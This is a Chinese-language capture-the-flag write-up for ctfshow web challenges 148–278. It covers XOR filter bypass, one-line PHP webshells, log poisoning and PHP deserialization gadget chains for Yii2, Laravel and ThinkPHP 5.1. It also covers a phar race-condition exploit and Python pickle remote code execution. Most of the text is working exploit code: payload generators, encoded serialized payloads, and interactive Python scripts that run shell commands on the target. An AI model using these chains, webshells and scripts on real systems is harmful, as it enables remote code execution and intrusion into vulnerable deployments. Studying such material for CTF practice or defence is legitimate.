web148
没有过滤异或符直接
?code=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0);
web149
这里可以看到会删除index.php文件,我们可以传一个index.php文件上去,再传一句话木马,然后蚁剑连接
url?ctf=index.php
post: show=(<?php @eval($_POST['1']);?>)
web150
发现对ctf并没有进行过多的过滤,我们直接日志注入
post:ctf=/var/log/apache2/access.log
然后在UA头写入一句话木马,蚁剑连接
web150-puls
这次多过滤了log,日志用不了
就看前面的代码
发现?..CTFSHOW..=这样传参可以,
这里按道理要条件竞争,但是先看phpinfo发现环境变量里面有flag
反序列化
魔术方法
与函数类似,但是在某些条件发生时自动调用
web254
这个题只要看懂代码就行
直接传入url?username=xxxxxx&password=xxxxxx
即可得到flag
web255
这一题即使登录成功也不能将isvip变为true,所以要修改VIP状态
直接将上面php代码复制到本地,然后把isvip=true
然后将这个类的序列化用url编码的形式输出
echo urlencode(serialize(new 类名()));
将输出的编码复制,然后到靶机的cookie添加名字为user内容为编码
然后在跟上一题一样传参
web256
这里多了一个判断,要求用户名与密码不相同,
还发现底下的获取falg的代码反序列化在判断的前面所以不用管xxxxxx的判断直接复制代码
然后改ture,再把用户名与密码随便改成不同的,然后用上一题的方法解决
web257
这里可以看到有一个backDoor类,里面有个code属性可以在里面传入后门
只要将上面的魔术方法里面创建的实例类改为backDoor类,
在传参时用户名和密码都为后门的参数
再重复上一题操作,然后蚁剑
web258
这里有个正则,要不匹配才能序列化,但是匹配的内容是序列化的,
首先跟php代码和上一题一样,但是输出的url编码要改,不能出现o:数字,这个格式被当作序列化
先直接输出未改变的序列化字符串,看哪里有o:数字的地方想办法替换
用
$a = serialize(new ctfShowUser());
$b = str _repLace(':11', ':+11', $a);
这样将:数字替换为+数字,也是可以反序列化的
web259
搞不懂原理
web260
这里是对字符串进行序列化后还要包含正则的字符串,因为字符串序列化不会变化
所以直接复制传参即可
web261
这有很多魔术方法,我们可以用construct
因为弱类型比较所以可以输入用户名877.php
密码为一句话木马
public function _ construct($u='',$p='')
{
$this->username='877. php';$this->password='<? php eval($_POST[a]);?>';
}
echo urLencode(serialize(new ctfshowvip()));
得到url编码的反序列化文本直接url?vip=传参
再访问877.php
然后蚁剑连接
web262
这里有字符逃逸,将fuck替换为loveU,就可以逃逸1个
先将php代码复制到本地,再把过滤类也带过去
然后创建一个类的实例第一个参数要为fuck,再生成序列化字符,保存下来,再将序列化字符用过滤函数过滤保存
发现过滤之后的字符串数字4后面跟着的是loveU五个字符,说明可以逃逸
在loveU后面的字符都可以随便更改,但是有多少字符就要逃逸多少
发现注释里面有message.php
直接访问
要将token改为admin可得到flag,所以将上面逃逸后的序列化字符串进行base64编码然后写入cookie就行
web264
message.php
这里发现和上一题其实一样
web265
这里可以用c语言的指针
复制php代码到本地,然后通过指针使password=&$this=->token
然后序列化输出O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
再写入到cookie
web266
这里只要能够进入销毁函数即可,我们可以通过错误的序列化:达成执法失败(就是没有被过滤)的效果,还是可以进入销毁函数
o:7:"ctfshow":2:{},然后burp抓包,在里面写入序列化代码得到flag
web267
先猜一下登录admin
about页面啥也没有查看一下源码
有个绿色的注释
view-source
在那个页面用&访问
发现代码
用脚本得到
index.php?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MjoibHMiO31zOjEyOiIAKgB2YWxpZGF0b3IiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6MTt9fX0=
再访问1下载得到flag
法二:py脚本
import requests, base64, time
def round(command: str, arg: str):
url = "http://b491d895-d559-480c-9452-755528e4a4d7.challenge.ctf.show/" # 以/结尾
payload = b'O:32:"Codeception\\Extension\\RunProcess":1:{s:43:"\x00Codeception\\Extension\\RunProcess\x00processes";a:1:{i:0;O:20:"Faker\\ValidGenerator":3:{s:12:"\x00*\x00generator";O:22:"Faker\\DefaultGenerator":1:{s:10:"\x00*\x00default";s:arg_l:"arg";}s:12:"\x00*\x00validator";s:function_l:"function";s:13:"\x00*\x00maxRetries";i:1;}}}'
payload = payload.replace(b"function_l", str(len(command)).encode())
payload = payload.replace(b"function", command.encode())
payload = payload.replace(b"arg_l", str(len(arg)).encode())
payload = payload.replace(b"arg", arg.encode())
params = {"r": "/backdoor/shell", "code": base64.b64encode(payload).decode()}
while True:
try:
resp = requests.get(url+"index.php", params=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "shell_exec"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
res = round(command, arg + " | tee 1")
print(res[:-1])
web268
与上一题差不多
但是不能照搬
要用新脚本
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'cat /flags | tee 1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
最后
index.php?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTg6ImNhdCAvZmxhZ3MgfCB0ZWUgMSI7fWk6MTtzOjM6InJ1biI7fX19fX0=
再访问1得到flag
web269
和上一题一样下载到了1文件但是莫名奇妙没有内容
web270
新脚本
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'cat /flagsaa | tee 1';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoyMDoiY2F0IC9mbGFnc2FhIHwgdGVlIDEiO31pOjE7czozOiJydW4iO319fQ==
web271
Laravel反序列化漏洞
通用脚本
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('ls'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
array()里面的命令可以改变
POST:data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22ls%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
,本目录没有,再找根目录('ls /')得到flag文件名然后接着重复上述步骤访问得到flag
法二:py脚本
import requests, base64, time
def round(command: str, arg: str):
url = "http://8cd12f44-e068-4ebf-9c52-31d16fb6e18b.challenge.ctf.show/" # 末尾的/不能少了
payload = b'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:15:"Faker\\Generator":1:{s:13:"\x00*\x00formatters";a:1:{s:8:"dispatch";s:function_l:"function";}}s:8:"\x00*\x00event";s:arg_l:"arg";}'
payload = payload.replace(b"function_l", str(len(command)).encode())
payload = payload.replace(b"function", command.encode())
payload = payload.replace(b"arg_l", str(len(arg)).encode())
payload = payload.replace(b"arg", arg.encode())
params = {"r": "test/ss", "data": payload}
while True:
try:
resp = requests.post(url, data=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "system"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
res = round(command, arg + " | tee 1")
print(res[:-1])
直接当作虚拟终端,在py里面直接输入命令
web272
第二条链子
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name="feng";
}
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php system('cat /flag');exit()?>";
$this->config=new MockConfiguration();
}
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
法二:py脚本
import requests, base64, time
def round(command: str, arg: str):
url = "http://ca6bcabb-9021-4081-a4dd-c7e09429ec1a.challenge.ctf.show/"
payload = b'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:15:"Faker\\Generator":1:{s:13:"\x00*\x00formatters";a:1:{s:8:"dispatch";s:function_l:"function";}}s:8:"\x00*\x00event";s:arg_l:"arg";}'
payload = payload.replace(b"function_l", str(len(command)).encode())
payload = payload.replace(b"function", command.encode())
payload = payload.replace(b"arg_l", str(len(arg)).encode())
payload = payload.replace(b"arg", arg.encode())
params = {"r": "test/ss", "data": payload}
while True:
try:
resp = requests.post(url, data=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "system"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
res = round(command, arg + " | tee 1")
print(res[:-1])
web273
与上一题同
web274
查看源码
得到注入点
这里用think5.1的脚本
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'Ki1ro'=>new Request()
);
$this->append=array(
'Ki1ro'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
得到
url?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJLaTFybyI7YToxOntzOjU6ImhlbGxvIjtzOjU6IndvcmxkIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiS2kxcm8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxMDp7czoxMDoidmFyX21ldGhvZCI7czo3OiJfbWV0aG9kIjtzOjg6InZhcl9hamF4IjtzOjA6IiI7czo4OiJ2YXJfcGpheCI7czo1OiJfcGpheCI7czoxMjoidmFyX3BhdGhpbmZvIjtzOjE6InMiO3M6MTQ6InBhdGhpbmZvX2ZldGNoIjthOjM6e2k6MDtzOjE0OiJPUklHX1BBVEhfSU5GTyI7aToxO3M6MTg6IlJFRElSRUNUX1BBVEhfSU5GTyI7aToyO3M6MTI6IlJFRElSRUNUX1VSTCI7fXM6MTQ6ImRlZmF1bHRfZmlsdGVyIjtzOjA6IiI7czoxNToidXJsX2RvbWFpbl9yb290IjtzOjA6IiI7czoxNjoiaHR0cHNfYWdlbnRfbmFtZSI7czowOiIiO3M6MTM6Imh0dHBfYWdlbnRfaXAiO3M6MTQ6IkhUVFBfWF9SRUFMX0lQIjtzOjE1OiJ1cmxfaHRtbF9zdWZmaXgiO3M6NDoiaHRtbCI7fX19fX19
再在后面加上
&Ki1ro=cat /flag即可
web275
filter类的__destruct方法会执行system函数,我们只要用;隔开rm并且filename中有php就可以进行rce了
所以先?fn=php;id,再?fn=php;tac flag.php
web276
py脚本
import requests, time
from concurrent.futures import ThreadPoolExecutor
proxies = {"http": "127.0.0.1:8080"}
data = b'<?php __HALT_COMPILER(); ?>\r\n\x06\x01\x00\x00\x03\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x91\x00\x00\x00O:6:"filter":4:{s:8:"filename";s:49:". || echo "<?php @eval(\\$_GET[1]);?>" > shell.php";s:11:"filecontent";N;s:8:"evilfile";b:1;s:5:"admin";b:1;}\x05\x00\x00\x003.txt\x03\x00\x00\x00\xdc\xc0Se\x03\x00\x00\x002\xfb\x11\x81\xb6\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x001.txt\x01\x00\x00\x00\xdc\xc0Se\x01\x00\x00\x00\xb7\xef\xdc\x83\xb6\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x002.txt\x01\x00\x00\x00\xdc\xc0Se\x01\x00\x00\x00\xb7\xef\xdc\x83\xb6\x01\x00\x00\x00\x00\x00\x00pwd11\x0f\xf8\xf5?u\xec\xa0\xdb\xae\xb9\xd0\xa1\xb9\xf47\x02\x84\x0e\xbe\xd6\x02\x00\x00\x00GBMB' # 不可更改,phar自己有签名算法的
success = False
def upload(url: str):
r=requests.post(url, params={"fn": "1.phar"}, data=data, timeout=7)
def visit(url: str):
global success
if not success:
r=requests.post(url, params={"fn": "phar://1.phar/3.txt"},data="000", timeout=7)
r=requests.get(url+"shell.php")
#print(r.status_code, url)
if r.status_code == 200:
success = True
def compete(url: str):
global success
pool_upload = ThreadPoolExecutor(5)
pool_visit = ThreadPoolExecutor(5)
threads = []
for i in range(50):
threads.append(pool_upload.submit(upload, url))
threads.append(pool_visit.submit(visit, url))
for i in threads:
if success:
break
while i.running():
pass
def round(url, command: str):
while True:
try:
r = requests.get(url+'shell.php', params = {"1": command}, timeout=7)
break
except:
pass
return r.text
if __name__ == '__main__':
url = "http://226faba7-e952-404b-a648-fa21f3b0d5be.challenge.ctf.show/"
while not success:
compete(url)
print("请输入命令...")
while True:
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
arg = f"system('{arg}');"
res = round(url, arg)
print(res[:-1])
web277
看到 pickle.loads
就知道是 python 反序列化
这里有python脚本
import requests, base64, time
def round(command: str, arg: str):
url = "http://39995c7b-513e-4c09-9e77-01499da948bc.challenge.ctf.show/" # 以/结尾
payload = f'''cos\n{command}\n(S'{arg}'\ntR.'''.encode()
params = {"r": "test/ss", "data": base64.b64encode(payload).decode()}
while True:
try:
resp = requests.get(url+"backdoor", params=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"static/1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "system"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
arg = f'mkdir -p /app/static && {arg} > /app/static/1'
res = round(command, arg + "")
print(res[:-1])
然后在py里面输入命令即可如:ls,tac等
得到flag
web278
只过滤了os.system,但os.popen仍有效
给出一个绕过过滤os
模块的poc
import requests, base64, time
def round(command: str, arg: str):
url = "http://fa3941ba-891b-4463-8844-4699fa94fe69.challenge.ctf.show/"
payload = f'''cbuiltins\ngetattr\np0\n(cbuiltins\ndict\nS'get'\ntRp1\n(cbuiltins\nglobals\n)RS'__builtins__'\ntRp2\n0g0\n(g2\nS'eval'\ntR(S'{arg}'\ntR.'''.encode()
params = {"r": "test/ss", "data": base64.b64encode(payload).decode()}
while True:
try:
resp = requests.get(url+"backdoor", params=params)
break
except:
time.sleep(0.1)
while True:
try:
resp = requests.get(url+"static/1")
break
except:
time.sleep(0.1)
return resp.text
if __name__ == '__main__':
print("请输入命令...")
while True:
command = "system"
arg = input(">>> ")
if arg == "exit":
break
if arg == "":
continue
arg = f'__import__("os").popen("mkdir -p /app/static && {arg} > /app/static/1")'
res = round(command, arg)
print(res[:-1])